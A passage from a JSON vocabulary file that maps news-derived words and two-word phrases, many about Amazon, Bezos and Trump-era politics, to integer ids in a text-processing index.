choice\": 193293,\n  \"secretary robert\": 193294,\n  \"action required\": 193295,\n  \"copp military\": 193296,\n  \"politics calendars\": 193297,\n  \"vox called\": 193298,\n  \"oppose brazilian\": 193299,\n  \"firecracker doesin\": 193300,\n  \"google engineers\": 193301,\n  \"want people\": 193302,\n  \"obviously mueller\": 193303,\n  \"authoritative\": 193304,\n  \"crisis waiting\": 193305,\n  \"mas\": 193306,\n  \"polio deaths\": 193307,\n  \"service youtube\": 193308,\n  \"netflix embedded\": 193309,\n  \"double amazon\": 193310,\n  \"really open\": 193311,\n  \"powered\": 193312,\n  \"offender sought\": 193313,\n  \"noonan\": 193314,\n  \"customers intimidation\": 193315,\n  \"hear\": 193316,\n  \"worldwide meaning\": 193317,\n  \"ia president\": 193318,\n  \"strikingly similar\": 193319,\n  \"regulation block\": 193320,\n  \"schools homelessness\": 193321,\n  \"online items\": 193322,\n  \"thoroughly\": 193323,\n  \"holdings glob\": 193324,\n  \"immigration attorney\": 193325,\n  \"amazon experiences\": 193326,\n  \"various accouterments\": 193327,\n  \"liability balances\": 193328,\n  \"create network\": 193329,\n  \"publisher henry\": 193330,\n  \"indian rules\": 193331,\n  \"nuclear weapon\": 193332,\n  \"forte\": 193333,\n  \"especially compared\": 193334,\n  \"technology review\": 193335,\n  \"enabled technology\": 193336,\n  \"favorite subjects\": 193337,\n  \"question rightly\": 193338,\n  \"market news\": 193339,\n  \"jay carney\": 193340,\n  \"owen ap\": 193341,\n  \"professors explained\": 193342,\n  \"michael pachter\": 193343,\n  \"nixon tape\": 193344,\n  \"bob menendez\": 193345,\n  \"business going\": 193346,\n  \"simply unavailable\": 193347,\n  \"weighs uber\": 193348,\n  \"tax anti\": 193349,\n  \"doesn trump\": 193350,\n  \"homegrown internet\": 193351,\n  \"unique identities\": 193352,\n  \"japan finance\": 193353,\n  \"opened box\": 193354,\n  \"regulatory agencies\": 193355,\n  \"hq2 seattle\": 193356,\n  \"address stating\": 193357,\n  \"following click\": 193358,\n  \"americans struggle\": 193359,\n  \"volcano pictures\": 193360,\n  \"days wear\": 193361,\n  \"contract nears\": 193362,\n  \"comment postmaster\": 193363,\n  \"valley billionaire\": 193364,\n  \"sun read\": 193365,\n  \"amazons push\": 193366,\n  \"parties warren\": 193367,\n  \"hartnell sketch\": 193368,\n  \"market economics\": 193369,\n  \"edged\": 193370,\n  \"plan summit\": 193371,\n  \"york sen\": 193372,\n  \"doing dirty\": 193373,\n  \"line brexit\": 193374,\n  \"calories day\": 193375,\n  \"ashleyrgold steven\": 193376,\n  \"environmental criminal\": 193377,\n  \"amed rosario\": 193378,\n  \"2018 conference\": 193379,\n  \"vital importance\": 193380,\n  \"valuable ammunition\": 193381,\n  \"humor ebooks\": 193382,\n  \"localofficials\": 193383,\n  \"brushing\": 193384,\n  \"spending exports\": 193385,\n  \"2015 pdf\": 193386,\n  \"north michigan\": 193387,\n  \"location travel\": 193388,\n  \"writes bezos\": 193389,\n  \"3dpi\": 193390,\n  \"obtaining\": 193391,\n  \"critics shouted\": 193392,\n  \"just exactly\": 193393,\n  \"amazon black\": 193394,\n  \"challenge silicon\": 193395,\n  \"anchor getty\": 193396,\n  \"recently focused\": 193397,\n  \"story refuted\": 193398,\n  \"memory problems\": 193399,\n  \"says infographic\": 193400,\n  \"comprehensive evaluation\": 193401,\n  \"rectification\": 193402,\n  \"insights wrote\": 193403,\n  \"revenge aws\": 193404,\n  \"lightning\": 193405,\n  \"press freedom\": 193406,\n  \"old girl\": 193407,\n  \"book jumped\": 193408,\n  \"tone vis\": 193409,\n  \"explore parts\": 193410,\n  \"results musk\": 193411,\n  \"hathaway jpmorgan\": 193412,\n  \"forrest gump\": 193413,\n  \"good story\": 193414,\n  \"applied scientists\": 193415,\n  \"usa brought\": 193416,\n  \"donald von\": 193417,\n  \"eliminates loophole\": 193418,\n  \"mnuchin statement\": 193419,\n  \"despite numerous\": 193420,\n  \"encompass\": 193421,\n  \"store new\": 193422,\n  \"allowed apple\": 193423,\n  \"sinise\": 193424,\n  \"000 automated\": 193425,\n  \"wholly owned\": 193426,\n  \"doral\": 193427,\n  \"marc marc9926\": 193428,\n  \"lurid revelations\": 193429,\n  \"winning business\": 193430,\n  \"discrimination whirlpool\": 193431,\n  \"882\": 193432,\n  \"founder prominent\": 193433,\n  \"immediately likeable\": 193434,\n  \"inflation worries\": 193435,\n  \"michael dukakis\": 193436,\n  \"billion revenues\": 193437,\n  \"surged\": 193438,\n  \"evening interviewed\": 193439,\n  \"rouhani hurled\": 193440,\n  \"salvador\": 193441,\n  \"convenience selection\": 193442,\n  \"tweeted just\": 193443,\n  \"year forecast\": 193444,\n  \"webb rips\": 193445,\n  \"independent quoted\": 193446,\n  \"sniffing death\": 193447,\n  \"billionaire jumps\": 193448,\n  \"wrote steve\": 193449,\n  \"manipulative seller\": 193450,\n  \"jean claude\": 193451,\n  \"increased cost\": 193452,\n  \"talent including\": 193453,\n  \"environmental experts\": 193454,\n  \"amatos\": 193455,\n  \"jeong\": 193456,\n  \"announce divorce\": 193457,\n  \"accepting bribes\": 193458,\n  \"clean way\": 193459,\n  \"nichols richmond\": 193460,\n  \"companies identified\": 193461,\n  \"bezo tyler\": 193462,\n  \"journalist tells\": 193463,\n  \"principle analyst\": 193464,\n  \"angling\": 193465,\n  \"dade college\": 193466,\n  \"presorted dose\": 193467,\n  \"reduce red\": 193468,\n  \"people trapped\": 193469,\n  \"2c inches\": 193470,\n  \"open trade\": 193471,\n  \"charcater\": 193472,\n  \"tonight peek\": 193473,\n  \"morning media\": 193474,\n  \"mutual home\": 193475,\n  \"personal issue\": 193476,\n  \"step remedy\": 193477,\n  \"utilise\": 193478,\n  \"books seeking\": 193479,\n  \"teenage classmates\": 193480,\n  \"improperly threatened\": 193481,\n  \"small plane\": 193482,\n  \"___\": 193483,\n  \"party platform\": 193484,\n  \"minimum change\": 193485,\n  \"terrifying\": 193486,\n  \"water water\": 193487,\n  \"fda bans\": 193488,\n  \"minded peers\": 193489,\n  \"imitations\": 193490,\n  \"putin concealing\": 193491,\n  \"financial gain\": 193492,\n  \"profit concerns\": 193493,\n  \"uber volvo\": 193494,\n  \"fact declared\": 193495,\n  \"standards act\": 193496,\n  \"candidate drew\": 193497,\n  \"state representatives\": 193498,\n  \"money john\": 193499,\n  \"election\": 193500,\n  \"potentially catastrophic\": 193501,\n  \"new long\": 193502,\n  \"post crash\": 193503,\n  \"salacious reporting\": 193504,\n  \"israel capital\": 193505,\n  \"skills shortages\": 193506,\n  \"luxor hotels\": 193507,\n  \"expense range\": 193508,\n  \"state investigation\": 193509,\n  \"rundown podcast\": 193510,\n  \"walmart shirts\": 193511,\n  \"muslim hate\": 193512,\n  \"hughes michael\": 193513,\n  \"1668\": 193514,\n  \"regulatory documents\": 193515,\n  \"private firms\": 193516,\n  \"handily\": 193517,\n  \"activity used\": 193518,\n  \"modify terminal\": 193519,\n  \"methodist church\": 193520,\n  \"bit lucky\": 193521,\n  \"hal 9000\": 193522,\n  \"supercenters\": 193523,\n  \"pared earlier\": 193524,\n  \"opposition leader\": 193525,\n  \"landlord\": 193526,\n  \"json r4ee\": 193527,\n  \"dan hett\": 193528,\n  \"current government\": 193529,\n  \"anti human\": 193530,\n  \"international bridge\": 193531,\n  \"2014 file\": 193532,\n  \"anwar\": 193533,\n  \"funny\": 193534,\n  \"madame tussaud\": 193535,\n  \"overall delivery\": 193536,\n  \"kyleperisic send\": 193537,\n  \"trumpsters\": 193538,\n  \"trump agreed\": 193539,\n  \"paring half\": 193540,\n  \"thieves illegal\": 193541,\n  \"experts told\": 193542,\n  \"rates oil\": 193543,\n  \"panic economy\": 193544,\n  \"aug 1990\": 193545,\n  \"ami run\": 193546,\n  \"frankly idiotic\": 193547,\n  \"government ap\": 193548,\n  \"jewish civil\": 193549,\n  \"shipping contracts\": 193550,\n  \"conley\": 193551,\n  \"potato salad\": 193552,\n  \"showed obama\": 193553,\n  \"don exist\": 193554,\n  \"ap hundreds\": 193555,\n  \"experience act\": 193556,\n  \"2017 snl\": 193557,\n  \"felons\": 193558,\n  \"label competition\": 193559,\n  \"packages dave\": 193560,\n  \"ecobee\": 193561,\n  \"missile bases\": 193562,\n  \"million james\": 193563,\n  \"written number\": 193564,\n  \"novartis glaxosmithkline\": 193565,\n  \"learning experience\": 193566,\n  \"impact results\": 193567,\n  \"mailboxes\": 193568,\n  \"allegedly shows\": 193569,\n  \"fb warned\": 193570,\n  \"bailey\": 193571,\n  \"repeatedly claims\": 193572,\n  \"bezos book\": 193573,\n  \"griffeth tuna\": 193574,\n  \"midterms repeatedly\": 193575,\n  \"831\": 193576,\n  \"york image\": 193577,\n  \"4e8uceqmon\": 193578,\n  \"stand join\": 193579,\n  \"gwl realty\": 193580,\n  \"a4ee y1\": 193581,\n  \"family leave\": 193582,\n  \"continuous light\": 193583,\n  \"alcoa corporation\": 193584,\n  \"bannon says\": 193585,\n  \"daily life\": 193586,\n  \"drivers bicyclists\": 193587,\n  \"bolsonaro deepens\": 193588,\n  \"referral fee\": 193589,\n  \"industrial activity\": 193590,\n  \"starting point\": 193591,\n  \"politics floating\": 193592,\n  \"pearsons\": 193593,\n  \"potential multiple\": 193594,\n  \"forces political\": 193595,\n  \"russia thing\": 193596,\n  \"publicly subsidized\": 193597,\n  \"cohen recalled\": 193598,\n  \"chosen queens\": 193599,\n  \"data advantage\": 193600,\n  \"apps create\": 193601,\n  \"stobe\": 193602,\n  \"chef great\": 193603,\n  \"relative number\": 193604,\n  \"rights wrote\": 193605,\n  \"trump threats\": 193606,\n  \"1985\": 193607,\n  \"pay gigantic\": 193608,\n  \"comparison republican\": 193609,\n  \"regulate interstate\": 193610,\n  \"tumble led\": 193611,\n  \"lottery\": 193612,\n  \"garfield chief\": 193613,\n  \"trump merchandise\": 193614,\n  \"sophie hurwitz\": 193615,\n  \"tur\": 193616,\n  \"history elite\": 193617,\n  \"future site\": 193618,\n  \"markle connection\": 193619,\n  \"doubting\": 193620,\n  \"legal document\": 193621,\n  \"guarantee competitor\": 193622,\n  \"lucrative value\": 193623,\n  \"america headlineposttext\": 193624,\n  \"absorbed\": 193625,\n  \"abramson\": 193626,\n  \"billion consumers\": 193627,\n  \"wing self\": 193628,\n  \"granting ami\": 193629,\n  \"wonderful optical\": 193630,\n  \"contract told\": 193631,\n  \"daily routine\": 193632,\n  \"narwhal mgmt\": 193633,\n  \"sold mail\": 193634,\n  \"y_173218731_200015422000928060_388160\": 193635,\n  \"lisa jewell\": 193636,\n  \"complex web\": 193637,\n  \"maintain\": 193638,\n  \"replace 190\": 193639,\n  \"centuries old\": 193640,\n  \"dana sanchez\": 193641,\n  \"quality fakes\": 193642,\n  \"liberal culture\": 193643,\n  \"diego seattle\": 193644,\n  \"hearing senior\": 193645,\n  \"making incentives\": 193646,\n  \"gurnani\": 193647,\n  \"successfully play\": 193648,\n  \"little outsourcing\": 193649,\n  \"25th best\": 193650,\n  \"strangest\": 193651,\n  \"expects aramco\": 193652,\n  \"traffic nightmares\": 193653,\n  \"105 exciting\": 193654,\n  \"west coast\": 193655,\n  \"hits wall\": 193656,\n  \"created gum\": 193657,\n  \"time hours\": 193658,\n  \"caught steam\": 193659,\n  \"kids cigarette\": 193660,\n  \"university students\": 193661,\n  \"bloomingdales daniel\": 193662,\n  \"marsha ryan\": 193663,\n  \"traded\": 193664,\n  \"w9x h6a\": 193665,\n  \"sports twitter\": 193666,\n  \"adoptive\": 193667,\n  \"brexit reprieve\": 193668,\n  \"racer photo\": 193669,\n  \"reads phoenix\": 193670,\n  \"caveman\": 193671,\n  \"doing fb\": 193672,\n  \"delivery man\": 193673,\n  \"isn immune\": 193674,\n  \"counterfeit chanel\": 193675,\n  \"fine longer\": 193676,\n  \"paper towels\": 193677,\n  \"retail logistics\": 193678,\n  \"live interview\": 193679,\n  \"legal right\": 193680,\n  \"influence ami\": 193681,\n  \"subject bullet\": 193682,\n  \"stars sarayu\": 193683,\n  \"widely reported\": 193684,\n  \"drunk want\": 193685,\n  \"standouts honorable\": 193686,\n  \"length break\": 193687,\n  \"fear vegas\": 193688,\n  \"slowdown takes\": 193689,\n  \"manager clients\": 193690,\n  \"2018 construction\": 193691,\n  \"banning vaccine\": 193692,\n  \"meth\": 193693,\n  \"interrogation\": 193694,\n  \"trudeau sign\": 193695,\n  \"life live\": 193696,\n  \"son kills\": 193697,\n  \"policies record\": 193698,\n  \"hookup\": 193699,\n  \"2016 jewel\": 193700,\n  \"corporate roots\": 193701,\n  \"putnam support\": 193702,\n  \"story unless\": 193703,\n  \"kacy\": 193704,\n  \"junckers\": 193705,\n  \"amazon sprawl\": 193706,\n  \"takes jennifer\": 193707,\n  \"floaty\": 193708,\n  \"jebburacker status\": 193709,\n  \"company bias\": 193710,\n  \"prospective customers\": 193711,\n  \"home base\": 193712,\n  \"month contractors\": 193713,\n  \"busy philipps\": 193714,\n  \"ritholtz\": 193715,\n  \"incidence\": 193716,\n  \"revenue model\": 193717,\n  \"washers\": 193718,\n  \"lived twitter\": 193719,\n  \"new yorks\": 193720,\n  \"leaked news\": 193721,\n  \"usually covers\": 193722,\n  \"netflix vengeful\": 193723,\n  \"governor rick\": 193724,\n  \"explicitly links\": 193725,\n  \"kiannah sepeda\": 193726,\n  \"sweatshirt\": 193727,\n  \"laura jarrett\": 193728,\n  \"online micro\": 193729,\n  \"turk\": 193730,\n  \"read newsletter\": 193731,\n  \"star evening\": 193732,\n  \"elections provided\": 193733,\n  \"colbert 100418\": 193734,\n  \"cell cultures\": 193735,\n  \"connection source\": 193736,\n  \"katera noted\": 193737,\n  \"madeline puckette\": 193738,\n  \"suburb\": 193739,\n  \"salary stacks\": 193740,\n  \"dalby\": 193741,\n  \"civilly\": 193742,\n  \"yorkers support\": 193743,\n  \"created subsequent\": 193744,\n  \"indian foundation\": 193745,\n  \"offsetx\": 193746,\n  \"romantic messages\": 193747,\n  \"fair trump\": 193748,\n  \"johnson amendment\": 193749,\n  \"old employee\": 193750,\n  \"monica based\": 193751,\n  \"dorsey uses\": 193752,\n  \"dicom\": 193753,\n  \"forbes real\": 193754,\n  \"tv roseanne\": 193755,\n  \"tech powerhouses\": 193756,\n  \"pay worth\": 193757,\n  \"serving low\": 193758,\n  \"kat\": 193759,\n  \"cnn charles\": 193760,\n  \"global soy\": 193761,\n  \"fronts claiming\": 193762,\n  \"eyes new\": 193763,\n  \"carriers discriminate\": 193764,\n  \"centered flexible\": 193765,\n  \"goodnight addy\": 193766,\n  \"addition apple\": 193767,\n  \"industrial war\": 193768,\n  \"squire rushnell\": 193769,\n  \"hold special\": 193770,\n  \"horror stories\": 193771,\n  \"wire star\": 193772,\n  \"geostrategy direct\": 193773,\n  \"deserve comprehensive\": 193774,\n  \"marketing practices\": 193775,\n  \"storm epa\": 193776,\n  \"loss\": 193777,\n  \"europe prevented\": 193778,\n  \"project lead\": 193779,\n  \"hike expectations\": 193780,\n  \"northern thailand\": 193781,\n  \"exhaustive\": 193782,\n  \"new jobless\": 193783,\n  \"trump seethes\": 193784,\n  \"english subtitles\": 193785,\n  \"jets\": 193786,\n  \"average 300\": 193787,\n  \"opinion apple\": 193788,\n  \"classmate\": 193789,\n  \"wheth\": 193790,\n  \"protecting pedophiles\": 193791,\n  \"titled xly\": 193792,\n  \"inhumans centers\": 193793,\n  \"biennial general\": 193794,\n  \"government isn\": 193795,\n  \"case\": 193796,\n  \"biggest nuclear\": 193797,\n  \"passenger flights\": 193798,\n  \"financial advantage\": 193799,\n  \"pass increases\": 193800,\n  \"correctly documented\": 193801,\n  \"attention according\": 193802,\n  \"niger\": 193803,\n  \"divorce proceeds\": 193804,\n  \"demise intimidating\": 193805,\n  \"company shut\": 193806,\n  \"foretell\": 193807,\n  \"children story\": 193808,\n  \"shall act\": 193809,\n  \"jarrett published\": 193810,\n  \"taxes corporations\": 193811,\n  \"clean energy\": 193812,\n  \"guest workers\": 193813,\n  \"amendment trump\": 193814,\n  \"formally introduced\": 193815,\n  \"secret aardvark\": 193816,\n  \"survey conducted\": 193817,\n  \"deal makes\": 193818,\n  \"dislikes\": 193819,\n  \"stop looking\": 193820,\n  \"red women\": 193821,\n  \"parcel centers\": 193822,\n  \"bandwagonmany\": 193823,\n  \"breached national\": 193824,\n  \"look lot\": 193825,\n  \"santa rosa\": 193826,\n  \"cents individual\": 193827,\n  \"business iconimageurl\": 193828,\n  \"grant money\": 193829,\n  \"brother ronan\": 193830,\n  \"boy body\": 193831,\n  \"bn\": 193832,\n  \"high\": 193833,\n  \"desk including\": 193834,\n  \"publish private\": 193835,\n  \"huge consumer\": 193836,\n  \"action jedi\": 193837,\n  \"taxes 2019\": 193838,\n  \"worldwide multinationals\": 193839,\n  \"newspaper tone\": 193840,\n  \"recevied\": 193841,\n  \"self sustaining\": 193842,\n  \"standoff minutes\": 193843,\n  \"prices financial\": 193844,\n  \"haircut chose\": 193845,\n  \"trivialise mental\": 193846,\n  \"reported disclosures\": 193847,\n  \"forward different\": 193848,\n  \"literary website\": 193849,\n  \"kayli carter\": 193850,\n  \"signaled dissatisfaction\": 193851,\n  \"cozy personal\": 193852,\n  \"china responded\": 193853,\n  \"companies better\": 193854,\n  \"company anti\": 193855,\n  \"sanchez broke\": 193856,\n  \"style labor\": 193857,\n  \"234 applications\": 193858,\n  \"transportation mid\": 193859,\n  \"trump eventually\": 193860,\n  \"sanchez wearing\": 193861,\n  \"reporters uncovered\": 193862,\n  \"videocardcontents descriptionplaintext\": 193863,\n  \"weeks undercover\": 193864,\n  \"kate bolduan\": 193865,\n  \"darkness fame\": 193866,\n  \"classic gardy\": 193867,\n  \"literary icon\": 193868,\n  \"earn company\": 193869,\n  \"wind\": 193870,\n  \"winfield house\": 193871,\n  \"bernstein famously\": 193872,\n  \"impede\": 193873,\n  \"howallusb cables\": 193874,\n  \"lee dialectics\": 193875,\n  \"company facing\": 193876,\n  \"hypnotized\": 193877,\n  \"georgieva describes\": 193878,\n  \"testing walmart\": 193879,\n  \"home trump\": 193880,\n  \"chicago amazon\": 193881,\n  \"yoon reports\": 193882,\n  \"takes cognisance\": 193883,\n  \"uwu\": 193884,\n  \"exec says\": 193885,\n  \"phcvjdjxyi\": 193886,\n  \"art headquarters\": 193887,\n  \"wealthy silicon\": 193888,\n  \"machines dishwashers\": 193889,\n  \"mirror selfies\": 193890,\n  \"obama compares\": 193891,\n  \"individual heart\": 193892,\n  \"ladder\": 193893,\n  \"ford motor\": 193894,\n  \"stacked\": 193895,\n  \"khosrowshahi appeared\": 193896,\n  \"post want\": 193897,\n  \"israeli military\": 193898,\n  \"mediterranean\": 193899,\n  \"exhibited\": 193900,\n  \"sentiment declines\": 193901,\n  \"told different\": 193902,\n  \"annual recognition\": 193903,\n  \"illuminati\": 193904,\n  \"wyden connected\": 193905,\n  \"mail worker\": 193906,\n  \"ann arbor\": 193907,\n  \"business loans\": 193908,\n  \"analyst data\": 193909,\n  \"sandberg husband\": 193910,\n  \"barth\": 193911,\n  \"government run\": 193912,\n  \"union efforts\": 193913,\n  \"tweeted story\": 193914,\n  \"foreclosures mnuchin\": 193915,\n  \"415 439\": 193916,\n  \"horrors\": 193917,\n  \"hbo asia\": 193918,\n  \"trump born\": 193919,\n  \"causes according\": 193920,\n  \"313\": 193921,\n  \"amazon offerings\": 193922,\n  \"friends according\": 193923,\n  \"consensus called\": 193924,\n  \"small way\": 193925,\n  \"certainly looking\": 193926,\n  \"fund nancy\": 193927,\n  \"potential consolidation\": 193928,\n  \"trump minaj\": 193929,\n  \"peddle fraudulent\": 193930,\n  \"planning discussions\": 193931,\n  \"tropics critics\": 193932,\n  \"w5q\": 193933,\n  \"nice package\": 193934,\n  \"generate worldwide\": 193935,\n  \"ensnares\": 193936,\n  \"tangible assets\": 193937,\n  \"narrative\": 193938,\n  \"queens economic\": 193939,\n  \"attendant social\": 193940,\n  \"iran arrested\": 193941,\n  \"icymi newspaper\": 193942,\n  \"refinances\": 193943,\n  \"negative coverage\": 193944,\n  \"exercise equipment\": 193945,\n  \"convicted venezuela\": 193946,\n  \"bump stocks\": 193947,\n  \"yes king\": 193948,\n  \"shot naval\": 193949,\n  \"comfort know\": 193950,\n  \"attending black\": 193951,\n  \"medium publication\": 193952,\n  \"parents opt\": 193953,\n  \"glenn\": 193954,\n  \"telling icann\": 193955,\n  \"ms warren\": 193956,\n  \"op deze\": 193957,\n  \"owlprevitem removeclass\": 193958,\n  \"desk amazon\": 193959,\n  \"tannehill experiment\": 193960,\n  \"trumplighthizer\": 193961,\n  \"plans chicago\": 193962,\n  \"howard desperate\": 193963,\n  \"moment pelosi\": 193964,\n  \"evidence uncovered\": 193965,\n  \"commodities market\": 193966,\n  \"requiring google\": 193967,\n  \"employee campuses\": 193968,\n  \"presumed hq2\": 193969,\n  \"deficit 2018\": 193970,\n  \"600 new\": 193971,\n  \"mould told\": 193972,\n  \"reported earnings\": 193973,\n  \"foot mansion\": 193974,\n  \"commission opened\": 193975,\n  \"2018 corsi\": 193976,\n  \"investor\": 193977,\n  \"tweaked\": 193978,\n  \"launch war\": 193979,\n  \"orlando hernandez\": 193980,\n  \"communications manager\": 193981,\n  \"plugable\": 193982,\n  \"niniane\": 193983,\n  \"grizzlies veteran\": 193984,\n  \"assets don\": 193985,\n  \"stevenson amazon\": 193986,\n  \"indigenous women\": 193987,\n  \"source using\": 193988,\n  \"reportedly glean\": 193989,\n  \"net sellers\": 193990,\n  \"boutique\": 193991,\n  \"gmb_union\": 193992,\n  \"business risks\": 193993,\n  \"roadside\": 193994,\n  \"needs second\": 193995,\n  \"james bloodworth\": 193996,\n  \"versus expectations\": 193997,\n  \"chris cox\": 193998,\n  \"local views\": 193999,\n  \"taxes hope\": 194000,\n  \"offer checking\": 194001,\n  \"hydration\": 194002,\n  \"similar practices\": 194003,\n  \"order rihanna\": 194004,\n  \"company misleading\": 194005,\n  \"state ceo\": 194006,\n  \"notable cast\": 194007,\n  \"033\": 194008,\n  \"include larry\": 194009,\n  \"comments game\": 194010,\n  \"general previously\": 194011,\n  \"party sales\": 194012,\n  \"fed database\": 194013,\n  \"bustling suburb\": 194014,\n  \"speed limits\": 194015,\n  \"kramer cnbc\": 194016,\n  \"constant stream\": 194017,\n  \"2018 disclosures\": 194018,\n  \"metapack asset\": 194019,\n  \"carroll eliana\": 194020,\n  \"landlocked european\": 194021,\n  \"kilometers\": 194022,\n  \"staffers school\": 194023,\n  \"wear culturally\": 194024,\n  \"robust ip\": 194025,\n  \"powered echo\": 194026,\n  \"eliot stein\": 194027,\n  \"trump creates\": 194028,\n  \"sandeep vaheesan\": 194029,\n  \"proceedings begin\": 194030,\n  \"partners 2018\": 194031,\n  \"turns positive\": 194032,\n  \"star kim\": 194033,\n  \"american airlines\": 194034,\n  \"director morten\": 194035,\n  \"party affiliation\": 194036,\n  \"disasters foto\": 194037,\n  \"weather cvs\": 194038,\n  \"ironically amazon\": 194039,\n  \"seconds ag\": 194040,\n  \"comedian switched\": 194041,\n  \"action senate\": 194042,\n  \"readings\": 194043,\n  \"trump spent\": 194044,\n  \"sprawling estate\": 194045,\n  \"gov economic\": 194046,\n  \"2038\": 194047,\n  \"face backlash\": 194048,\n  \"4k forget\": 194049,\n  \"office jenna\": 194050,\n  \"cnn contributor\": 194051,\n  \"hannity fox\": 194052,\n  \"neo lordish\": 194053,\n  \"supplier\": 194054,\n  \"sbd advisors\": 194055,\n  \"historic twitter\": 194056,\n  \"digital era\": 194057,\n  \"states kamhi\": 194058,\n  \"intergovernmental\": 194059,\n  \"sandberg boss\": 194060,\n  \"testimony fascists\": 194061,\n  \"magical realist\": 194062,\n  \"mody\": 194063,\n  \"injured hundreds\": 194064,\n  \"potentially motivated\": 194065,\n  \"present bezos\": 194066,\n  \"r0 undefined\": 194067,\n  \"erik lesser\": 194068,\n  \"greatest deals\": 194069,\n  \"building headquarters\": 194070,\n  \"kavitha\": 194071,\n  \"daughters\": 194072,\n  \"star status\": 194073,\n  \"preschool educations\": 194074,\n  \"prepayments\": 194075,\n  \"handles data\": 194076,\n  \"webster groves\": 194077,\n  \"month contradictory\": 194078,\n  \"stunning admission\": 194079,\n  \"rescued obama\": 194080,\n  \"obama haters\": 194081,\n  \"products yeti\": 194082,\n  \"results veterans\": 194083,\n  \"nbc russia\": 194084,\n  \"used sold\": 194085,\n  \"risks\": 194086,\n  \"send rents\": 194087,\n  \"having lab\": 194088,\n  \"diplomat\": 194089,\n  \"obtained intimate\": 194090,\n  \"year college\": 194091,\n  \"advanced stages\": 194092,\n  \"paper digging\": 194093,\n  \"yahoo nasdaq\": 194094,\n  \"results beating\": 194095,\n  \"explosives essay\": 194096,\n  \"says sales\": 194097,\n  \"post exists\": 194098,\n  \"trump headlineplaintext\": 194099,\n  \"reduced paycheck\": 194100,\n  \"kaur amazon\": 194101,\n  \"us32\": 194102,\n  \"ipo usa\": 194103,\n  \"trade advice\": 194104,\n  \"work jim\": 194105,\n  \"balances\": 194106,\n  \"profile bombshells\": 194107,\n  \"cases vietnamese\": 194108,\n  \"gmt courtesy\": 194109,\n  \"lose tens\": 194110,\n  \"job told\": 194111,\n  \"policy aims\": 194112,\n  \"gudiel brother\": 194113,\n  \"podesta tweeted\": 194114,\n  \"average djia\": 194115,\n  \"sanchez elkan\": 194116,\n  \"earth destroying\": 194117,\n  \"site amazon\": 194118,\n  \"convenient foil\": 194119,\n  \"marijuana revenue\": 194120,\n  \"104 years\": 194121,\n  \"atvpdkikx0der\": 194122,\n  \"uv rays\": 194123,\n  \"food assistance\": 194124,\n  \"households amazon\": 194125,\n  \"additionally note\": 194126,\n  \"pecker loyalty\": 194127,\n  \"stress test\": 194128,\n  \"recovering upwards\": 194129,\n  \"washington postal\": 194130,\n  \"legal crosshairs\": 194131,\n  \"administration\": 194132,\n  \"mario batali\": 194133,\n  \"investigation amazon\": 194134,\n  \"trump reelection\": 194135,\n  \"including intel\": 194136,\n  \"soon possible\": 194137,\n  \"dispel\": 194138,\n  \"experts stress\": 194139,\n  \"jackman plus\": 194140,\n  \"xa bb\": 194141,\n  \"ensured steady\": 194142,\n  \"treadmill control\": 194143,\n  \"sandusky register\": 194144,\n  \"languages washington\": 194145,\n  \"pritchard prominent\": 194146,\n  \"spent nicely\": 194147,\n  \"vow\": 194148,\n  \"deflect\": 194149,\n  \"senior democrat\": 194150,\n  \"chatham asset\": 194151,\n  \"bowkers authority\": 194152,\n  \"seen blazing\": 194153,\n  \"bush read\": 194154,\n  \"adam sedo\": 194155,\n  \"works committee\": 194156,\n  \"legally problematic\": 194157,\n  \"billion sec\": 194158,\n  \"universe root\": 194159,\n  \"foreign auto\": 194160,\n  \"publication won\": 194161,\n  \"as_pez acceso\": 194162,\n  \"labeled monopoly\": 194163,\n  \"tablet containerclassid\": 194164,\n  \"healthier people\": 194165,\n  \"ranked flagship\": 194166,\n  \"president twitter\": 194167,\n  \"respectfully disagree\": 194168,\n  \"morning join\": 194169,\n  \"amazon message\": 194170,\n  \"discussions taking\": 194171,\n  \"hiv\": 194172,\n  \"aborted animal\": 194173,\n  \"ami issued\": 194174,\n  \"city university\": 194175,\n  \"entire affordable\": 194176,\n  \"mayor pete\": 194177,\n  \"core pillar\": 194178,\n  \"companies took\": 194179,\n  \"pastures\": 194180,\n  \"services announced\": 194181,\n  \"attacking amazon\": 194182,\n  \"perrone president\": 194183,\n  \"smarsh\": 194184,\n  \"services cloud\": 194185,\n  \"nervous rust\": 194186,\n  \"adapts\": 194187,\n  \"important locations\": 194188,\n  \"injects children\": 194189,\n  \"sl\\u00f8k\": 194190,\n  \"used tax\": 194191,\n  \"independent journalism\": 194192,\n  \"vast inventory\": 194193,\n  \"senator lindsey\": 194194,\n  \"feld told\": 194195,\n  \"bob hetu\": 194196,\n  \"consumers quantifying\": 194197,\n  \"amazon contributes\": 194198,\n  \"remedy anticompetitive\": 194199,\n  \"childish\": 194200,\n  \"favouring\": 194201,\n  \"upward distribution\": 194202,\n  \"galvanizing\": 194203,\n  \"songwriter dangled\": 194204,\n  \"counting addition\": 194205,\n  \"johnson head\": 194206,\n  \"investor starboard\": 194207,\n  \"administration unearthing\": 194208,\n  \"trump taking\": 194209,\n  \"timeline aligns\": 194210,\n  \"simple document\": 194211,\n  \"immortal medium\": 194212,\n  \"walking away\": 194213,\n  \"companies multiple\": 194214,\n  \"subsection\": 194215,\n  \"drugs bath\": 194216,\n  \"florence touted\": 194217,\n  \"reported officials\": 194218,\n  \"house speechwriter\": 194219,\n  \"repeatedly slammed\": 194220,\n  \"usatoda usatoda\": 194221,\n  \"bezos jokingly\": 194222,\n  \"content according\": 194223,\n  \"government watchdog\": 194224,\n  \"connect residents\": 194225,\n  \"tabloid protector\": 194226,\n  \"progressive sensation\": 194227,\n  \"answers unsatisfactory\": 194228,\n  \"president stalled\": 194229,\n  \"just mercy\": 194230,\n  \"country parliament\": 194231,\n  \"ride posted\": 194232,\n  \"bust sanctions\": 194233,\n  \"today jefferson\": 194234,\n  \"magnanimous\": 194235,\n  \"chance official\": 194236,\n  \"reputable\": 194237,\n  \"convened\": 194238,\n  \"community assessment\": 194239,\n  \"planning massive\": 194240,\n  \"antitrust law\": 194241,\n  \"teal\": 194242,\n  \"dod officials\": 194243,\n  \"semitic man\": 194244,\n  \"offensive trump\": 194245,\n  \"2022 apple\": 194246,\n  \"underlying tension\": 194247,\n  \"amazon riled\": 194248,\n  \"ms shehan\": 194249,\n  \"sheet fortune\": 194250,\n  \"employee told\": 194251,\n  \"enjoy greater\": 194252,\n  \"italian economy\": 194253,\n  \"political stances\": 194254,\n  \"lennon scottish\": 194255,\n  \"sexual acts\": 194256,\n  \"absolute trump\": 194257,\n  \"negatively affected\": 194258,\n  \"9hv7nzey6r\": 194259,\n  \"success conferences\": 194260,\n  